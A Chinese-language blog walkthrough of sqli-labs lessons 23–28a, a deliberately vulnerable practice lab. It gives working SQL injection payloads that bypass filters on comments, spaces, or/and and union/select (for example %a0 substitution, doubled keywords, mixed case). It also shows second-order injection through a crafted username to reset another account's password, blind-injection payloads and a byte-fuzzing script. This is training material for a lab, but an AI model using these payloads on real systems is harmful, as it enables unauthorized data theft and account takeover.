1. 程式人生 > >通過sqli-labs學習sql注入——進階挑戰之less23-28a

通過sqli-labs學習sql注入——進階挑戰之less23-28a

這次我又來了,Advanced Injections(進階挑戰),就是一些過濾繞過的東西了,基礎挑戰看這個兩篇

通過sqli-labs學習sql注入——基礎挑戰之less1-10

通過sqli-labs學習sql注入——基礎挑戰之less11-22

首先怎麼判斷過濾了什麼了,我們逐題來看看吧,我們才能進行下一輪操作

less 23 GET - Error based - strip comments (基於錯誤的,過濾註釋的GET型)

首先單引號,報錯

加個%23 (#的url編碼),對於#,get要url編碼,post提交就不用,這個可以看看前面兩篇文章

那麼我們可以知道後臺php將#替換成空了,因為兩個單引號之間沒有空隙

這個不行,那麼-- 單行註釋看看,因為我們要在--後加個空格或其他什麼字元,單行註釋才有效

我們可以看到這裡的報錯只把原語句的limit前面單引號報出來了,因為我們加了空格,使它與我們自己加的單引號隔了一個空格,我們自己加的單引號跟前面的匹配就沒報錯,只報了一個單引號,對比less1我們就知道過濾了--,替換成空了

下面來進行不加空格的對比

下圖是less1的,只對後面的單引號報錯出來,因為這個單引號與前面的id='1'被--分開了,前面單引號是匹配的,不會報錯顯示出來

對於less23,這裡判斷就更加明顯了,兩個單引號之間沒空隙了,所以肯定是將 --  替換為空字元了

我們看看原始碼,確實是這樣

那麼總結一下如何判斷註釋過濾,具體過濾成什麼就要看報錯資訊了

#:直接加 單引號,雙引號等,後面再加個#

--:這個也是咯,直接加 單引號,雙引號等,後面再加個--,後面不用空格(因為--註釋有效的時候,後面要有空格或其他字元才行,這裡判斷過濾就不用了)

那麼只能閉合繞過了吧,多行註釋符好像不行

提取資料什麼的就看上兩篇的less 1吧

less-24 - Second Degree Injections  *Real treat* -Store Injections (二次注入)

登陸一看,就是一個完整的註冊登入,改密碼的網站,一看根目錄,確實有很多檔案

通過在上面註冊登入瞭解了流程之後,我們就對每個檔案都審計一下吧,可以先從index.php開始,

其實真正有跟資料庫互動的就login_create.php,login.php,pass_change.php這三個檔案

login.php (對登入進行處理的檔案),對使用者和密碼都過濾了

login_create.php(對新建使用者進行處理的檔案)

$username=  mysql_escape_string($_POST['username']) ;
	$pass= mysql_escape_string($_POST['password']);
	$re_pass= mysql_escape_string($_POST['re_password']);

過濾了三個欄位,

到了pass_change.php我們就有收穫了

發現更改密碼時,直接從SESSION裡面獲取而沒有進行任何的過濾,一旦我的使用者名稱有註釋符,那麼我就可以隨意更改別人的密碼了微笑

那我們就先新建一個特殊的使用者害羞,再更改密碼就行了

下面以admin為例(賬戶:admin' -- 密碼:asdf)

註冊後看看資料庫有沒有

這樣使用者名稱不是就有了註釋符了,我們登陸去改密碼吧,為了方便檢視效果,我在php新增輸出sql語句

到資料庫看看確實被改了

可能有同學會問,註冊的時候不是被過濾了單引號嗎

是的, 我們admin' -- 變成了admin\' -- ,

這才能使admin\' -- 的左右單引號正常匹配,但存進資料庫的時候他就是一個單引號啊,(轉義只是暫時在這裡使它失去了單引號的作用,但它還是表示單引號)

當然這裡新建使用者

admin' # 也是可以的

less 25 Trick with OR & AND (過濾了or和and)

確認單引號字元注入
http://localhost/sqli-labs/Less-25/?id=1'
判斷過濾了or,跟less1對比報錯即可推斷出來
http://localhost/sqli-labs/Less-25/?id=1' or1

還是截個圖吧,第一個是less1的,第二個圖是less25的

同理

判斷過濾了and
http://localhost/sqli-labs/Less-25/?id=1' and1


再分析下原始碼,開了i模式的匹配,大小寫是不能饒的,我們就可以利用or和and對應的數學符號進行注入了

用&&的時候要urlencode才能傳到後臺

當然還可以雙寫繞過

http://localhost/sqli-labs/Less-25/?id=1' oorr '1'='1
http://localhost/sqli-labs/Less-25/?id=1' anandd '1'='1

less 25a Trick with OR & AND Blind (過濾了or和and的盲注)

那麼盲注怎麼判斷過濾了and跟or呢,直接在前面新增or或and

這一題的程式碼跟上面一樣,只不過這裡是關閉了報錯,所以這裡只講判斷

less 26  Trick with comments and space (過濾了註釋和空格的注入)

確認過濾了#
http://localhost/sqli-labs/Less-26/?id=%231
確認過濾了or
http://localhost/sqli-labs/Less-26/?id=or1
確認過濾多行註釋符
http://localhost/sqli-labs/Less-26/?id=/*1
確認過濾了單行註釋
http://localhost/sqli-labs/Less-26/
確認過濾了斜槓
http://localhost/sqli-labs/Less-26/?id=/1
確認過濾了反斜槓
http://localhost/sqli-labs/Less-26/?id=1\
確認過濾了空格,報錯注入才行哦,這個判斷
http://localhost/sqli-labs/Less-26/?id=1' ' '

真是累啊,下面看看原始碼,我是看著原始碼確認的,所以確認過濾了什麼還是比較累的


 

下面看看繞過吧,看著都難繞,這次就提取完整的資料吧,

我們常見的繞過空格的就是多行註釋,/**/但這裡過濾了,所以這行不通,

下面試試寬位元組的伎倆看看能不能代替空格,可看下圖發現可以哦,那麼還有沒有其他呢,寫個指令碼跑一下就知道咯(但有點遺憾......,不過還是有點收穫)

指令碼如下:

#-*- coding:utf8 -*-  

"""
@version: 
@author: giantbranch
@file: testsqli.py
@time: 2016/5/29 23:14
"""

import requests

def changeToHex(num):
	tmp = hex(i).replace("0x", "")
	if len(tmp)<2:
		tmp = '0' + tmp
	return "%" + tmp

req = requests.session()
for i in xrange(0,256):
	i = changeToHex(i) 
	url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
	ret = req.get(url)
	if 'Dumb' in ret.content:
		print "good,this can use:" + i

執行結果


 

我挑第一個09看看,發現除了%a0其他的都不能代替空格,有點傷心啊,其實我們發現除了%a0,基本都是過濾了的字元,如%20(空格),%23(井號),%2a(星號) %2d(減號) %2f (斜槓)%5c(反斜槓),至於%09-%0d都是什麼製表符,換行符,換頁符什麼的,也算是空格吧,這也可以找出程式過濾了什麼符號原來,通不通用還有待測試實踐,改造一下估計可以找出程式過濾了什麼

那麼我們只能用%a0代替空格了

完整payload:

確認欄位數
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
獲取當前使用的資料庫
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
獲取表資訊
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271
獲取列資訊
http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='emails'%26%26%a0%271%27=%271
最後獲取資料,發現提取不了
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,email_id,3%a0from%a0emails%26%26%a0%271%27=%271

為什麼表列都提取出來了,資料就提取不了呢大哭,報錯報到我崩潰了,這個暫時擱著,先下一課,知道的可以告訴我

6.10號更新:

終於知道怎麼提取資料了,上面的語法確實是錯誤的,給兩個吧

http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和註釋的盲注)

這個跟上面差不多,不過這裡不會報錯,那麼判斷過濾了什麼跟上面基本類似,這裡根據頁面的返回有資料還是無資料

但還有個問題,怎麼區分他是過濾了還是強制轉化成整形呢,一幅圖讓你知道

可以看到,由於第一個字元不是數字intval直接轉換為0了,而當過濾了的話,那麼那個id=#1就是正常的id=1時的id了

less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)

老話,判斷為單引號型

http://localhost/sqli-labs/Less-27/?id=1'

發現也過濾空格


 

具體判斷跟26差不多,union和select看下面

判斷過濾,改一下就可以判斷雙寫,大小寫行不行了

http://localhost/sqli-labs/Less-27/?id=select1
http://localhost/sqli-labs/Less-27/?id=union1

看看過濾吧,

多行註釋,單行註釋,空格

大小寫的union和select

m (PCRE_MULTILINE)

預設情況下,PCRE 認為目標字串是由單行字元組成的(然而實際上它可能會包含多行), "行首"元字元 (^) 僅匹配字串的開始位置, 而"行末"元字元 ($) 僅匹配字串末尾, 或者最後的換行符(除非設定了 D 修飾符)。這個行為和 perl 相同。 當這個修飾符設定之後,“行首”和“行末”就會匹配目標字串中任意換行符之前或之後,另外, 還分別匹配目標字串的最開始和最末尾位置。這等同於 perl 的 /m 修飾符。如果目標字串 中沒有 "\n" 字元,或者模式中沒有出現 ^ 或 $,設定這個修飾符不產生任何影響。

s (PCRE_DOTALL)

如果設定了這個修飾符,模式中的點號元字元匹配所有字元,包含換行符。如果沒有這個 修飾符,點號不匹配換行符。這個修飾符等同於 perl 中的/s修飾符。 一個取反字元類比如 [^a] 總是匹配換行符,而不依賴於這個修飾符的設定。/m  當設定了此修正符,“行起始”和“行結束”除了匹配整個字串開頭和結束外,還分別匹配其中的換行符的之後和之前。這和 Perl 的 /m 修正符是等效的。如果目標字串中沒有“\n”字元或者模式中沒有 ^ 或 $,則設定此修正符沒有任何效果。  實際上就就是匹配多行的意思?

/s 使圓點元字元(.)匹配換行符,  上面這裡沒有點就不用管了,那麼上面直接大小寫繞過就可以了

直接上payload

http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1  爆資料庫
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271  爆表
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3  提取資料

或者

資料庫
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),'3
資料表
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271
資料列
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'and%a0table_name='emails'%26%26%a0%271%27=%271
提取資料
http://localhost/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271  

less 27a GET - Blind Based- All your UNION & SELECT belong to us

這個是less 27的盲注版本,雙引號型的

http://localhost/sqli-labs/Less-27a/?id=1"or"1"="1

下面給一下盲注的payload吧,

http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
http://localhost/sqli-labs/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3 

判斷資料庫名的長度,其實只是變形了一下,原理跟之前的盲注什麼的沒什麼區別,

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於錯誤的,有括號的單引號字元型,過濾了union和select等的注入

直接看程式碼吧,因為跟上面的課程差不多

那個i表示正在匹配的模式,i是忽略大小寫,\s就是匹配任意空白字元,製表符啊,換行啊空格啊等,那我們中間不加空格能繞過吧

還是用%a0吧

最後提取資料的payload

http://localhost/sqli-labs/Less-28/?id=0%27)%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0(%271%27=%271

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於盲注的,有括號的單引號字元型,過濾了union和select等的注入

發現作者把前面的都註釋掉了,我們把註釋去掉吧,不然沒挑戰啊

這個是上一個的盲注,有了上面的基礎,也不用說太多了

既然是這篇的最後一課,給個具體payload吧,爆資料庫的,先看名字長度,再看每個字元,有長度才知道要搞多少次嘛

長度是8
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
第一個字元是115,即s
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1

好了,接下來的挑戰就不繼續幹了,希望大家繼續加油,繼續挑戰完

其實後面的挑戰的題解,網上都有,但是最重要的是學習方法,舉一反三,相信你學會了我的學習方法,之後的挑戰也很快可以ko的。